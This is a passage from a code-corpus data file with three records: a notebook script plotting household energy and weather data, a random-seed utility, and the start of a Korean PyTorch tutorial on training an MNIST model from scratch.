plt.subplots(figsize=(17,4))\ndf_house.loc[:,'C_total_cons_power'].plot(ax=ax)\ndf_house.loc[:,'C_hp_power'].plot(ax=ax)\nax.legend()\n\n\n# ## Visualize `C_solarlog_radiation`\n\n# In[ ]:\n\n\nfix, ax = plt.subplots(figsize=(17,4))\ndf_house.loc[:,'C_solarlog_radiation'].plot(ax=ax)\n\n\n# ## Check that `C_pv_prod_power` is the sum of `C_to_batt_power` + `C_direct_cons_power`+ `C_to_net_power`\n\n# In[ ]:\n\n\n# Investigate only points in time where all values are available\ndf_house_noNAN = df_house.loc[:,['C_pv_prod_power', 'C_to_batt_power', 'C_direct_cons_power', 'C_to_net_power']].dropna(axis=0, how='any')\ndelta = df_house_noNAN.loc[:,'C_pv_prod_power'] - df_house_noNAN.loc[:,['C_to_batt_power', 'C_direct_cons_power', 'C_to_net_power']].sum(axis=1)\nprint(\"Statistics of deviations:\")\ndelta.describe()\n\n\n# ## Check that `C_total_cons_power` is the sum of `C_direct_cons_power` + `C_from_batt_power` + `C_from_net_power`\n\n# In[ ]:\n\n\n# Investigate only points in time where all values are available\ndf_house_noNAN = df_house.loc[:,['C_total_cons_power', 'C_direct_cons_power', 'C_from_batt_power', 'C_from_net_power']].dropna(axis=0, how='any')\ndelta = df_house_noNAN.loc[:,'C_total_cons_power'] - df_house_noNAN.loc[:,['C_direct_cons_power', 'C_from_batt_power', 'C_from_net_power']].sum(axis=1)\nprint(\"Statistics of deviations:\")\ndelta.describe()\n\n\n# ## Visualize Batter Power Flows\n\n# In[ ]:\n\n\nfig, ax = plt.subplots(figsize=(17,4))\ndf_house.loc[:,['C_to_batt_power', 'C_from_batt_power']].plot(ax=ax)\nax.legend(loc='upper left')\nax2 = ax.twinx()\ndf_house.loc[:,'C_batt_state'].plot(ax=ax2, color='green')\nax2.legend(loc='lower left')\n\n\n# # House C - Weather\n\n# In[ ]:\n\n\npath_to_house = \"./datasets/dfC_3600s.hdf\"\ndf_weather = pd.read_hdf(path_to_house)\nprint('\\n\\nStart time: {}'.format(df_weather.index[1]))\nprint('End time: {}'.format(df_weather.index[-1]))\nprint(df_weather.columns)\n\n\n# In[ ]:\n\n\nfig, ax = plt.subplots(figsize=(17,16), ncols=1, nrows=4, sharex=True)\ndf_weather.loc[:,'C_weather_pressure'].plot(ax=ax[0])\nax[0].legend()\ndf_weather.loc[:,'C_weather_rainfall'].plot(ax=ax[1], color='orange')\nax[1].legend()\ndf_weather.loc[:,['C_weather_temperature_out', 'C_weather_temperature_in']].plot(ax=ax[2])\nax[2].legend()\ndf_weather.loc[:,['C_weather_humidity_out', 'C_weather_humidity_in']].plot(ax=ax[3])\nax[3].legend()\n\n\n# # House C - Raw Data\n\n# In[ ]:\n\n\nimport os\nbase_path = \"../rawData/C/\"\nfiles = os.listdir(path=base_path)\n\nblacklisted = [\"capPeriods.hdf\"]\nfor file in files:\n    if file in blacklisted: continue\n    print(file)\n    print(os.path.join(base_path, file))\n    df_rawData = pd.read_hdf(os.path.join(base_path, file))\n    print(df_rawData.iloc[1,0]-df_rawData.iloc[0,0])\n    print(df_rawData.iloc[-1,0]-df_rawData.iloc[-2,0])\n    print()\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "8eca19781ecdccb16c9b3b00b636210380a7d0bd", "size": 6468, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/House_C.py", "max_stars_repo_name": "brauliobarahona/RAPT-dataset", "max_stars_repo_head_hexsha": "ec842544fe8af39d2f44604c06784b4dd6e24108", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-06-15T09:26:46.000Z", "max_stars_repo_stars_event_max_datetime": "2020-06-15T14:39:48.000Z", "max_issues_repo_path": "notebooks/House_C.py", "max_issues_repo_name": "brauliobarahona/RAPT-dataset", "max_issues_repo_head_hexsha": "ec842544fe8af39d2f44604c06784b4dd6e24108", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/House_C.py", "max_forks_repo_name": "brauliobarahona/RAPT-dataset", "max_forks_repo_head_hexsha": "ec842544fe8af39d2f44604c06784b4dd6e24108", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-01-23T15:22:29.000Z", "max_forks_repo_forks_event_max_datetime": "2021-01-23T15:22:29.000Z", "avg_line_length": 28.2445414847, "max_line_length": 151, "alphanum_fraction": 0.7025355597, "include": true, "reason": "import numpy", "num_tokens": 1903, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4571367168274948, "lm_q2_score": 0.16026603032235007, "lm_q1q2_score": 0.07326348692053483}}
{"text": "import random\r\nfrom numbers import Number\r\nfrom typing import Optional\r\n\r\nimport numpy as np\r\nimport torch\r\n\r\n__all__ = [\"set_seed\"]\r\n\r\n\r\ndef set_seed(seed: Optional[int] = None) -> Optional[int]:\r\n    \"\"\"Set random seed for reproduction.\r\n\r\n    Parameters\r\n    ----------\r\n    seed : Optional[int], optional\r\n        random seed, by default None\r\n\r\n    Returns\r\n    -------\r\n    Optional[int]\r\n        the random seed.\r\n\r\n    Example\r\n    -------\r\n    >>> from graphwar import set_seed\r\n    >>> set_seed(42)\r\n    42\r\n\r\n    \"\"\"\r\n    assert seed is None or isinstance(seed, Number), seed\r\n    np.random.seed(seed)\r\n    random.seed(seed)\r\n    if seed is not None:\r\n        torch.manual_seed(seed)\r\n        torch.cuda.manual_seed(seed)\r\n        # torch.cuda.manual_seed_all(seed)\r\n    return seed\r\n", "meta": {"hexsha": "ef42187f719effc8462add773ed33942d7482f3c", "size": 795, "ext": "py", "lang": "Python", "max_stars_repo_path": "graphwar/utils/seed.py", "max_stars_repo_name": "EdisonLeeeee/GraphWar", "max_stars_repo_head_hexsha": "78fc9bbc0e086211ca94c26a78278f41abe97f3c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 10, "max_stars_repo_stars_event_min_datetime": "2021-11-15T01:29:04.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-06T06:01:13.000Z", "max_issues_repo_path": "graphwar/utils/seed.py", "max_issues_repo_name": "EdisonLeeeee/GraphWar", "max_issues_repo_head_hexsha": "78fc9bbc0e086211ca94c26a78278f41abe97f3c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "graphwar/utils/seed.py", "max_forks_repo_name": "EdisonLeeeee/GraphWar", "max_forks_repo_head_hexsha": "78fc9bbc0e086211ca94c26a78278f41abe97f3c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-03-28T00:38:20.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-28T00:38:20.000Z", "avg_line_length": 20.3846153846, "max_line_length": 59, "alphanum_fraction": 0.5911949686, "include": true, "reason": "import numpy", "num_tokens": 175, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.15002882624262381, "lm_q1q2_score": 0.07325658466999718}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\n`torch.nn` \uc774 *\uc2e4\uc81c\ub85c* \ubb34\uc5c7\uc778\uac00\uc694?\n=====================================\n\uc800\uc790: Jeremy Howard, `fast.ai <https://www.fast.ai>`_.\n\n\ub3c4\uc6c0: Rachel Thomas, Francisco Ingham.\n\n\ubc88\uc5ed: `\ub0a8\uc0c1\ud638 <https://github.com/namdori61>`_\n\n\"\"\"\n\n###############################################################################\n# \uc774 \ud29c\ud1a0\ub9ac\uc5bc\uc744 \uc2a4\ud06c\ub9bd\ud2b8\uac00 \uc544\ub2cc \ub178\ud2b8\ubd81\uc73c\ub85c \uc2e4\ud589\ud558\uae30\ub97c \uad8c\uc7a5\ud569\ub2c8\ub2e4. \ub178\ud2b8\ubd81 (.ipynb) \ud30c\uc77c\uc744 \ub2e4\uc6b4 \ubc1b\uc73c\uc2dc\ub824\uba74,\n# \ud398\uc774\uc9c0 \uc0c1\ub2e8\uc5d0 \uc788\ub294 \ub9c1\ud06c\ub97c \ud074\ub9ad\ud574\uc8fc\uc138\uc694.\n#\n# PyTorch \ub294 \uc5ec\ub7ec\ubd84\uc774 \uc2e0\uacbd\ub9dd(neural network)\ub97c \uc0dd\uc131\ud558\uace0 \ud559\uc2b5\uc2dc\ud0a4\ub294 \uac83\uc744 \ub3c4\uc640\uc8fc\uae30 \uc704\ud574\uc11c\n# `torch.nn <https://pytorch.org/docs/stable/nn.html>`_ ,\n# `torch.optim <https://pytorch.org/docs/stable/optim.html>`_ ,\n# `Dataset <https://pytorch.org/docs/stable/data.html?highlight=dataset#torch.utils.data.Dataset>`_ ,\n# \uadf8\ub9ac\uace0 `DataLoader <https://pytorch.org/docs/stable/data.html?highlight=dataloader#torch.utils.data.DataLoader>`_\n# \uc640 \uac19\uc740 \uc798 \ub514\uc790\uc778\ub41c \ubaa8\ub4c8\uacfc \ud074\ub798\uc2a4\ub4e4\uc744 \uc81c\uacf5\ud569\ub2c8\ub2e4.\n# \uc774\ub4e4\uc758 \uc131\ub2a5\uc744 \ucd5c\ub300\ud55c \ud65c\uc6a9\ud558\uace0 \uc5ec\ub7ec\ubd84\uc758 \ubb38\uc81c\uc5d0 \ub9de\uac8c \ucee4\uc2a4\ud130\ub9c8\uc774\uc988\ud558\uae30 \uc704\ud574\uc11c,\n# \uc815\ud655\ud788 \uc774\ub4e4\uc774 \uc5b4\ub5a4 \uc791\uc5c5\uc744 \uc218\ud589\ud558\ub294\uc9c0 \uc774\ud574\ud560 \ud544\uc694\uac00 \uc788\uc2b5\ub2c8\ub2e4.\n# \uc774\ud574\ub97c \uc99d\uc9c4\ud558\uae30 \uc704\ud574\uc11c, \uc6b0\ub9ac\ub294 \uba3c\uc800 \uc774\ub4e4 \ubaa8\ub378\ub4e4\ub85c \ubd80\ud130 \uc544\ubb34 \ud53c\uccd0\ub3c4 \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uace0\n# MNIST \ub370\uc774\ud130\uc14b\uc5d0 \ub300\ud574 \uae30\ucd08\uc801\uc778 \uc2e0\uacbd\ub9dd\uc744 \ud559\uc2b5\uc2dc\ud0ac \uac83\uc785\ub2c8\ub2e4;\n# \uc6b0\ub9ac\ub294 \ucc98\uc74c\uc5d0\ub294 \uac00\uc7a5 \uae30\ucd08\uc801\uc778 PyTorch \ud150\uc11c(tensor) \uae30\ub2a5\ub9cc\uc744 \uc0ac\uc6a9\ud560 \uac83\uc785\ub2c8\ub2e4.\n# \uadf8\ub9ac\uace0\ub098\uc11c \uc6b0\ub9ac\ub294 \uc810\ucc28\uc801\uc73c\ub85c ``torch.nn``, ``torch.optim``, ``Dataset``, \ub610\ub294\n# ``DataLoader`` \ub85c\ubd80\ud130 \ud55c\ubc88\uc5d0 \ud558\ub098\uc529 \ud53c\uccd0\ub97c \ucd94\uac00\ud558\uba74\uc11c, \uc815\ud655\ud788 \uac01 \ubd80\ubd84\uc774 \uc5b4\ub5a4 \uc77c\uc744 \ud558\ub294\uc9c0 \uadf8\ub9ac\uace0\n# \uc774\uac83\uc774 \uc5b4\ub5bb\uac8c \ucf54\ub4dc\ub97c \ub354 \uc815\ud655\ud558\uace0 \uc720\uc5f0\ud558\uac8c \ub9cc\ub4dc\ub294\uc9c0 \ubcf4\uc5ec\uc904 \uac83\uc785\ub2c8\ub2e4.\n#\n# **\uc774 \ud29c\ud1a0\ub9ac\uc5bc\uc740 \uc5ec\ub7ec\ubd84\uc774 \uc774\ubbf8 PyTorch\ub97c \uc124\uce58\ud558\uc600\uace0, \uadf8\ub9ac\uace0 \ud150\uc11c \uc5f0\uc0b0\uc758 \uae30\ucd08\uc5d0 \ub300\ud574 \uc775\uc219\ud558\ub2e4\uace0 \uac00\uc815\ud569\ub2c8\ub2e4.**\n# (\ub9cc\uc57d \uc5ec\ub7ec\ubd84\uc774 Numpy \ubc30\uc5f4(array) \uc5f0\uc0b0\uc5d0 \uc775\uc219\ud558\ub2e4\uba74, \uc5ec\uae30\uc5d0\uc11c \uc0ac\uc6a9\ub418\ub294 PyTorch \ud150\uc11c \uc5f0\uc0b0\ub3c4\n# \uac70\uc758 \ub3d9\uc77c\ud558\ub2e4\ub294 \uac83\uc744 \uc54c\uac8c \ub420 \uac83\uc785\ub2c8\ub2e4).\n#\n# MNIST \ub370\uc774\ud130 \uc900\ube44\n# -------------------\n#\n# \uc6b0\ub9ac\ub294 \uc190\uc73c\ub85c \uc4f4 \uc22b\uc790(0\uc5d0\uc11c 9 \uc0ac\uc774)\uc758 \ud751\ubc31 \uc774\ubbf8\uc9c0\ub85c \uad6c\uc131\ub41c \ud074\ub798\uc2dd\n# `MNIST <http://deeplearning.net/data/mnist/>`_ \ub370\uc774\ud130\uc14b\uc744 \uc0ac\uc6a9\ud560 \uac83 \uc785\ub2c8\ub2e4.\n#\n# \uc6b0\ub9ac\ub294 \uacbd\ub85c \uc124\uc815\uc744 \ub2f4\ub2f9\ud558\ub294 (Python3 \ud45c\uc900 \ub77c\uc774\ube0c\ub7ec\ub9ac\uc758 \uc77c\ubd80\uc778)\n# `pathlib <https://docs.python.org/3/library/pathlib.html>`_ \uc744 \uc0ac\uc6a9\ud560 \uac83\uc774\uace0,\n# `requests <http://docs.python-requests.org/en/master/>`_ \ub97c \uc774\uc6a9\ud558\uc5ec\n# \ub370\uc774\ud130\uc14b\uc744 \ub2e4\uc6b4\ub85c\ub4dc \ud560 \uac83\uc785\ub2c8\ub2e4. \uc6b0\ub9ac\ub294 \ubaa8\ub4c8\uc744 \uc0ac\uc6a9\ud560 \ub54c\ub9cc \uc784\ud3ec\ud2b8(import) \ud560 \uac83\uc774\ubbc0\ub85c,\n# \uc5ec\ub7ec\ubd84\uc740 \ub9e4 \ud3ec\uc778\ud2b8\ub9c8\ub2e4 \uc815\ud655\ud788 \uc5b4\ub5a4 \uac83\uc774 \uc0ac\uc6a9\ub418\ub294\uc9c0 \ud655\uc778\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n\nfrom pathlib import Path\nimport requests\n\nDATA_PATH = Path(\"data\")\nPATH = DATA_PATH / \"mnist\"\n\nPATH.mkdir(parents=True, exist_ok=True)\n\nURL = \"https://github.com/pytorch/tutorials/raw/master/_static/\"\nFILENAME = \"mnist.pkl.gz\"\n\nif not (PATH / FILENAME).exists():\n        content = requests.get(URL + FILENAME).content\n        (PATH / FILENAME).open(\"wb\").write(content)\n\n###############################################################################\n# \uc774 \ub370\uc774\ud130\uc14b\uc740 numpy \ubc30\uc5f4 \ud3ec\ub9f7\uc774\uace0, \ub370\uc774\ud130\ub97c \uc9c1\ub82c\ud654\ud558\uae30 \uc704\ud55c\n# python \uc804\uc6a9 \ud3ec\ub9f7 pickle \uc744 \uc774\uc6a9\ud558\uc5ec \uc800\uc7a5\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4.\n\nimport pickle\nimport gzip\n\nwith gzip.open((PATH / FILENAME).as_posix(), \"rb\") as f:\n        ((x_train, y_train), (x_valid, y_valid), _) = pickle.load(f, encoding=\"latin-1\")\n\n###############################################################################\n# \uac01 \uc774\ubbf8\uc9c0\ub294 28 x 28 \ud615\ud0dc \uc774\uace0, 784 (=28x28) \ud06c\uae30\ub97c \uac00\uc9c4 \ud558\ub098\uc758 \ud589\uc73c\ub85c \uc800\uc7a5\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4.\n# \ud558\ub098\ub97c \uc0b4\ud3b4 \ubd05\uc2dc\ub2e4; \uba3c\uc800 \uc6b0\ub9ac\ub294 \uc774 \uc774\ubbf8\uc9c0\ub97c 2d\ub85c \uc7ac\uad6c\uc131\ud574\uc57c \ud569\ub2c8\ub2e4.\n\nfrom matplotlib import pyplot\nimport numpy as np\n\npyplot.imshow(x_train[0].reshape((28, 28)), cmap=\"gray\")\nprint(x_train.shape)\n\n###############################################################################\n# PyTorch\ub294 numpy \ubc30\uc5f4 \ubcf4\ub2e4\ub294 ``torch.tensor`` \ub97c \uc0ac\uc6a9\ud558\ubbc0\ub85c, \uc6b0\ub9ac\ub294 \ub370\uc774\ud130\ub97c \ubcc0\ud658\ud574\uc57c \ud569\ub2c8\ub2e4.\n\nimport torch\n\nx_train, y_train, x_valid, y_valid = map(\n    torch.tensor, (x_train, y_train, x_valid, y_valid)\n)\nn, c = x_train.shape\nx_train, x_train.shape, y_train.min(), y_train.max()\nprint(x_train, y_train)\nprint(x_train.shape)\nprint(y_train.min(), y_train.max())\n\n###############################################################################\n# torch.nn \uc5c6\uc774 \ubc11\ubc14\ub2e5\ubd80\ud130 \uc2e0\uacbd\ub9dd \ub9cc\ub4e4\uae30\n# ---------------------------------------------\n#\n# PyTorch \ud150\uc11c \uc5f0\uc0b0\ub9cc\uc73c\ub85c \uccab \ubaa8\ub378\uc744 \ub9cc\ub4e4\uc5b4\ubd05\uc2dc\ub2e4.\n# \uc5ec\ub7ec\ubd84\uc774 \uc2e0\uacbd\ub9dd\uc758 \uae30\ucd08\uc5d0 \ub300\ud574\uc11c \uc774\ubbf8 \uc775\uc219\ud558\ub2e4\uace0 \uac00\uc815\ud569\ub2c8\ub2e4.\n# (\ub9cc\uc57d \uc775\uc219\ud558\uc9c0 \uc54a\ub2e4\uba74 `course.fast.ai <https://course.fast.ai>`_ \uc5d0\uc11c \ud559\uc2b5\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4).\n#\n# PyTorch\ub294 \ub79c\ub364 \ub610\ub294 0\uc73c\ub85c\ub9cc \uc774\ub8e8\uc5b4\uc9c4 \ud150\uc11c\ub97c \uc0dd\uc131\ud558\ub294 \uba54\uc11c\ub4dc\ub97c \uc81c\uacf5\ud558\uace0,\n# \uc6b0\ub9ac\ub294 \uac04\ub2e8\ud55c \uc120\ud615 \ubaa8\ub378\uc758 \uac00\uc911\uce58(weights)\uc640 \uc808\ud3b8(bias)\uc744 \uc0dd\uc131\ud558\uae30 \uc704\ud574\uc11c \uc774\uac83\uc744 \uc0ac\uc6a9\ud560 \uac83\uc785\ub2c8\ub2e4.\n# \uc774\ub4e4\uc740 \uc77c\ubc18\uc801\uc778 \ud150\uc11c\uc5d0 \ub9e4\uc6b0 \ud2b9\ubcc4\ud55c \ud55c \uac00\uc9c0\uac00 \ucd94\uac00\ub41c \uac83\uc785\ub2c8\ub2e4: \uc6b0\ub9ac\ub294 PyTorch\uc5d0\uac8c \uc774\ub4e4\uc774\n# \uae30\uc6b8\uae30(gradient)\uac00 \ud544\uc694\ud558\ub2e4\uace0 \uc54c\ub824\uc90d\ub2c8\ub2e4.\n# \uc774\ub97c \ud1b5\ud574 PyTorch\ub294 \ud150\uc11c\uc5d0 \ud589\ud574\uc9c0\ub294 \ubaa8\ub4e0 \uc5f0\uc0b0\uc744 \uae30\ub85d\ud558\uac8c \ud558\uace0,\n# \ub530\ub77c\uc11c *\uc790\ub3d9\uc801\uc73c\ub85c* \uc5ed\uc804\ud30c(back-propagation) \ub3d9\uc548\uc5d0 \uae30\uc6b8\uae30\ub97c \uacc4\uc0b0\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4!\n#\n# \uac00\uc911\uce58\uc5d0 \ub300\ud574\uc11c\ub294 ``requires_grad`` \ub97c \ucd08\uae30\ud654(initialization) **\ub2e4\uc74c\uc5d0** \uc124\uc815\ud569\ub2c8\ub2e4,\n# \uc65c\ub0d0\ud558\uba74 \uc6b0\ub9ac\ub294 \ud574\ub2f9 \ub2e8\uacc4\uac00 \uae30\uc6b8\uae30\uc5d0 \ud3ec\ud568\ub418\ub294 \uac83\uc744 \uc6d0\uce58 \uc54a\uae30 \ub54c\ubb38\uc785\ub2c8\ub2e4.\n# (PyTorch\uc5d0\uc11c ``_`` \ub2e4\uc74c\uc5d0 \uc624\ub294 \uba54\uc11c\ub4dc \uc774\ub984\uc740 \uc5f0\uc0b0\uc774 \uc778\ud50c\ub808\uc774\uc2a4(in-place)\ub85c \uc218\ud589\ub418\ub294 \uac83\uc744 \uc758\ubbf8\ud569\ub2c8\ub2e4.)\n#\n# .. note:: `Xavier initialisation <http://proceedings.mlr.press/v9/glorot10a/glorot10a.pdf>`_\n#    \uae30\ubc95\uc744 \uc774\uc6a9\ud558\uc5ec \uac00\uc911\uce58\ub97c \ucd08\uae30\ud654 \ud569\ub2c8\ub2e4. (1/sqrt(n)\uc744 \uacf1\ud574\uc8fc\ub294 \uac83\uc744 \ud1b5\ud574\uc11c \ucd08\uae30\ud654).\n\nimport math\n\nweights = torch.randn(784, 10) / math.sqrt(784)\nweights.requires_grad_()\nbias = torch.zeros(10, requires_grad=True)\n\n###############################################################################\n# PyTorch\uc758 \uae30\uc6b8\uae30\ub97c \uc790\ub3d9\uc73c\ub85c \uacc4\uc0b0\ud574\uc8fc\ub294 \uae30\ub2a5 \ub355\ubd84\uc5d0, Python \ud45c\uc900 \ud568\uc218\n# (\ub610\ub294 \ud638\ucd9c \uac00\ub2a5\ud55c \uac1d\uccb4)\ub97c \ubaa8\ub378\ub85c \uc0ac\uc6a9\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4!\n# \uadf8\ub7ec\ubbc0\ub85c \uac04\ub2e8\ud55c \uc120\ud615 \ubaa8\ub378\uc744 \ub9cc\ub4e4\uae30 \uc704\ud574\uc11c \ub2e8\uc21c\ud55c \ud589\ub82c \uacf1\uc148\uacfc \ube0c\ub85c\ub4dc\uce90\uc2a4\ud2b8(broadcast)\n# \ub367\uc148\uc744 \uc0ac\uc6a9\ud558\uc5ec \ubcf4\uaca0\uc2b5\ub2c8\ub2e4. \ub610\ud55c, \uc6b0\ub9ac\ub294 \ud65c\uc131\ud654 \ud568\uc218(activation function)\uac00 \ud544\uc694\ud558\ubbc0\ub85c,\n# `log_softmax` \ub97c \uad6c\ud604\ud558\uace0 \uc0ac\uc6a9\ud560 \uac83\uc785\ub2c8\ub2e4.\n# PyTorch\uc5d0\uc11c \ub9ce\uc740 \uc0ac\uc804 \uad6c\ud604\ub41c \uc190\uc2e4 \ud568\uc218(loss function), \ud65c\uc131\ud654 \ud568\uc218\ub4e4\uc774 \uc81c\uacf5\ub418\uc9c0\ub9cc,\n# \uc77c\ubc18\uc801\uc778 python\uc744 \uc0ac\uc6a9\ud558\uc5ec \uc790\uc2e0\ub9cc\uc758 \ud568\uc218\ub97c \uc27d\uac8c \uc791\uc131\ud560 \uc218 \uc788\uc74c\uc744 \uae30\uc5b5\ud574\uc8fc\uc138\uc694.\n# PyTorch\ub294 \uc2ec\uc9c0\uc5b4 \uc5ec\ub7ec\ubd84\uc758 \ud568\uc218\ub97c \uc704\ud574\uc11c \ube60\ub978 GPU \ub610\ub294 \ubca1\ud130\ud654\ub41c CPU \ucf54\ub4dc\ub97c \ub9cc\ub4e4\uc5b4\uc904 \uac83\uc785\ub2c8\ub2e4.\n\ndef log_softmax(x):\n    return x - x.exp().sum(-1).log().unsqueeze(-1)\n\ndef model(xb):\n    return log_softmax(xb @ weights + bias)\n\n###############################################################################\n# \uc704\uc5d0\uc11c, ``@`` \uae30\ud638\ub294 \uc810\uacf1(dot product) \uc5f0\uc0b0\uc744 \ub098\ud0c0\ub0c5\ub2c8\ub2e4.\n# \uc6b0\ub9ac\ub294 \ud558\ub098\uc758 \ubc30\uce58(batch) \ub370\uc774\ud130(\uc774 \uacbd\uc6b0\uc5d0\ub294 64\uac1c\uc758 \uc774\ubbf8\uc9c0\ub4e4)\uc5d0 \ub300\ud558\uc5ec \ud568\uc218\ub97c \ud638\ucd9c\ud560 \uac83\uc785\ub2c8\ub2e4.\n# \uc774\uac83\uc740 \ud558\ub098\uc758 *\ud3ec\uc6cc\ub4dc \uc804\ub2ec(forward pass)* \uc785\ub2c8\ub2e4. \uc774 \ub2e8\uacc4\uc5d0\uc11c \uc6b0\ub9ac\ub294 \ubb34\uc791\uc704(random) \uac00\uc911\uce58\ub85c\n# \uc2dc\uc791\ud588\uae30 \ub54c\ubb38\uc5d0 \uc6b0\ub9ac\uc758 \uc608\uce21\uc774 \ubb34\uc791\uc704 \uc608\uce21\ubcf4\ub2e4 \uc804\ud600 \ub098\uc740 \uc810\uc774 \uc5c6\uc744 \uac83\uc785\ub2c8\ub2e4.\n\nbs = 64  # \ubc30\uce58 \uc0ac\uc774\uc988\n\nxb = x_train[0:bs]  # x\ub85c\ubd80\ud130 \ubbf8\ub2c8\ubc30\uce58(mini-batch) \ucd94\ucd9c\npreds = model(xb)  # \uc608\uce21\npreds[0], preds.shape\nprint(preds[0], preds.shape)\n\n###############################################################################\n# \uc5ec\ub7ec\ubd84\uc774 \ubcf4\uc2dc\ub4ef\uc774, ``preds`` \ud150\uc11c(tensor)\ub294 \ud150\uc11c \uac12 \uc678\uc5d0\ub3c4, \ub610\ud55c\n# \uae30\uc6b8\uae30 \ud568\uc218(gradient function)\ub97c \ub2f4\uace0 \uc788\uc2b5\ub2c8\ub2e4.\n# \uc6b0\ub9ac\ub294 \ub098\uc911\uc5d0 \uc774\uac83\uc744 \uc5ed\uc804\ud30c(backpropagation)\ub97c \uc704\ud574 \uc0ac\uc6a9\ud560 \uac83\uc785\ub2c8\ub2e4.\n# \uc774\uc81c \uc190\uc2e4\ud568\uc218(loss function)\ub85c \uc0ac\uc6a9\ud558\uae30 \uc704\ud55c \uc74c\uc758 \ub85c\uadf8 \uc6b0\ub3c4(negative log-likelihood)\ub97c\n# \uad6c\ud604\ud569\uc2dc\ub2e4. (\ub2e4\uc2dc \ub9d0\ud558\uc9c0\ub9cc, \uc6b0\ub9ac\ub294 \ud45c\uc900 Python\uc744 \uc0ac\uc6a9\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.):\n\n\ndef nll(input, target):\n    return -input[range(target.shape[0]), target].mean()\n\nloss_func = nll\n\n###############################################################################\n# \uc6b0\ub9ac\uc758 \ubb34\uc791\uc704 \ubaa8\ub378\uc5d0 \ub300\ud55c \uc190\uc2e4\uc744 \uc810\uac80\ud574\ubd05\uc2dc\ub2e4, \uadf8\ub7fc\uc73c\ub85c\uc368 \uc6b0\ub9ac\ub294 \ub098\uc911\uc5d0 \uc5ed\uc804\ud30c \uc774\ud6c4\uc5d0 \uac1c\uc120\uc774 \uc788\ub294\uc9c0\n# \ud655\uc778\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n\nyb = y_train[0:bs]\nprint(loss_func(preds, yb))\n\n\n###############################################################################\n# \ub610\ud55c, \uc6b0\ub9ac \ubaa8\ub378\uc758 \uc815\ud655\ub3c4(accuracy)\ub97c \uacc4\uc0b0\ud558\uae30 \uc704\ud55c \ud568\uc218\ub97c \uad6c\ud604\ud569\uc2dc\ub2e4.\n# \ub9e4 \uc608\uce21\ub9c8\ub2e4, \ub9cc\uc57d \uac00\uc7a5 \ud070 \uac12\uc758 \uc778\ub371\uc2a4\uac00 \ubaa9\ud45c\uac12(target value)\uacfc \ub3d9\uc77c\ud558\ub2e4\uba74,\n# \uadf8 \uc608\uce21\uc740 \uc62c\ubc14\ub978 \uac83\uc785\ub2c8\ub2e4.\n\ndef accuracy(out, yb):\n    preds = torch.argmax(out, dim=1)\n    return (preds == yb).float().mean()\n\n###############################################################################\n# \uc6b0\ub9ac\uc758 \ubb34\uc791\uc704 \ubaa8\ub378\uc758 \uc815\ud655\ub3c4\ub97c \uc810\uac80\ud574 \ubd05\uc2dc\ub2e4, \uadf8\ub7fc\uc73c\ub85c\uc368 \uc190\uc2e4\uc774 \uac1c\uc120\ub428\uc5d0 \ub530\ub77c\uc11c \uc815\ud655\ub3c4\uac00 \uac1c\uc120\ub418\ub294\uc9c0\n# \ud655\uc778\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.\n\nprint(accuracy(preds, yb))\n\n###############################################################################\n# \uc774\uc81c \uc6b0\ub9ac\ub294 \ud6c8\ub828 \ub8e8\ud504(training loop)\ub97c \uc2e4\ud589\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \ub9e4 \ubc18\ubcf5\ub9c8\ub2e4, \uc6b0\ub9ac\ub294 \ub2e4\uc74c\uc744 \uc218\ud589\ud560 \uac83\uc785\ub2c8\ub2e4:\n#\n# - \ub370\uc774\ud130\uc758 \ubbf8\ub2c8\ubc30\uce58\ub97c \uc120\ud0dd (``bs`` \uc0ac\uc774\uc988)\n# - \ubaa8\ub378\uc744 \uc774\uc6a9\ud558\uc5ec \uc608\uce21 \uc218\ud589\n# - \uc190\uc2e4 \uacc4\uc0b0\n# - ``loss.backward()`` \ub97c \uc774\uc6a9\ud558\uc5ec \ubaa8\ub378\uc758 \uae30\uc6b8\uae30 \uc5c5\ub370\uc774\ud2b8, \uc774 \uacbd\uc6b0\uc5d0\ub294, ``weights`` \uc640 ``bias``.\n#\n# \uc774\uc81c \uc6b0\ub9ac\ub294 \uc774 \uae30\uc6b8\uae30\ub4e4\uc744 \uc774\uc6a9\ud558\uc5ec \uac00\uc911\uce58\uc640 \uc808\ud3b8\uc744 \uc5c5\ub370\uc774\ud2b8 \ud569\ub2c8\ub2e4.\n# \uc6b0\ub9ac\ub294 \uc774\uac83\uc744 ``torch.no_grad()`` \ucee8\ud14d\uc2a4\ud2b8 \ub9e4\ub2c8\uc838(context manager) \ub0b4\uc5d0\uc11c \uc2e4\ud589\ud569\ub2c8\ub2e4,\n# \uc65c\ub0d0\ud558\uba74 \uc774\ub7ec\ud55c \uc2e4\ud589\uc774 \ub2e4\uc74c \uae30\uc6b8\uae30\uc758 \uacc4\uc0b0\uc5d0 